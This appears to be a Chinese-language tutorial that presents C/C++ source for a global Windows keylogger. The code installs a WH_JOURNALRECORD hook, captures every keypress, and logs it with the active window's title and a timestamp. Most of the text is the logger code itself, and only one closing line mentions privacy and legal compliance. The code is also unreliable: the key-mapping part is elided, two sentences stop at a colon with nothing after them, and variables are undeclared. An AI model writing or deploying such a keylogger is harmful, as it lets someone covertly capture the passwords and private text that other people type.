Windows 提供 WH_JOURNALRECORD 全域鉤子類型,可攔截系統層級的鍵盤與滑鼠事件。不同於 WH_KEYBOARD 僅接收虛擬鍵碼,Journal Record 鉤子接收 EVENTMSG 結構,包含訊息類型、參數、時間戳、硬體座標,適合實作完整的輸入記錄器。
HHOOK g_hLogHook = NULL; // 鉤子控制代碼
HWND g_hLastFocus = NULL; // 上一次擁有焦點的視窗
const int KeyPressMask = 0x80000000; // 按鍵狀態掩碼 (高位元為 1 表示按下)
// 安裝鉤子
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)JournalLogProc, HInstance, 0);
// 移除鉤子
if (g_hLogHook) {
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
關鍵點:`SetWindowsHookEx` 最後一個參數傳 `0` 表示全域鉤子,需置於 DLL 中;`HInstance` 必須是包含回呼函數的模組實例控制代碼。
JournalLogProc 完整邏輯HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) {
if (iCode < 0) return CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
if (iCode == HC_ACTION) {
EVENTMSG* pEvt = (EVENTMSG*)lParam;
// 僅處理鍵盤按下訊息
if (pEvt->message == WM_KEYDOWN) {
// 取得虛擬鍵碼
int vKey = LOBYTE(pEvt->paramL);
// 偵測視窗焦點切換,記錄時間與視窗標題
HWND hFocus = GetActiveWindow();
if (g_hLastFocus != hFocus) {
GetWindowText(hFocus, szTitle, 256);
g_hLastFocus = hFocus;
strcpy(szTime, DateTimeToStr(Now()).c_str());
fprintf(stream, "\n%s %s ", szTime, szTitle);
}
// 判斷 Shift、CapsLock、NumLock 狀態
bool bShift = (GetKeyState(VK_SHIFT) & KeyPressMask) == KeyPressMask;
bool bCapital = (GetKeyState(VK_CAPITAL) & 1) == 1;
bool bNumLock = (GetKeyState(VK_NUMLOCK) & 1) == 1;
// 依虛擬鍵碼區間轉換為字元並寫入日誌
// ... (數字鍵、字母鍵、小鍵盤、符號鍵、功能鍵、控制鍵的完整 switch-case 處理)
}
}
return CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
}
程式碼展示了完整的鍵盤佈局邏輯:
範例在每次按鍵皆 `fopen`/`fprintf`/`fclose`,實務上建議:
本範例展示了經典的 `WH_JOURNALRECORD` 鍵盤日誌實作,涵蓋焦點追蹤、修飾鍵狀態、完整鍵盤佈局對應。雖技術成熟,現代開發應優先考慮 Raw Input 或 ETW 等更高效、相容性更佳的方案,並嚴格遵守法律合規與使用者隱私保護原則。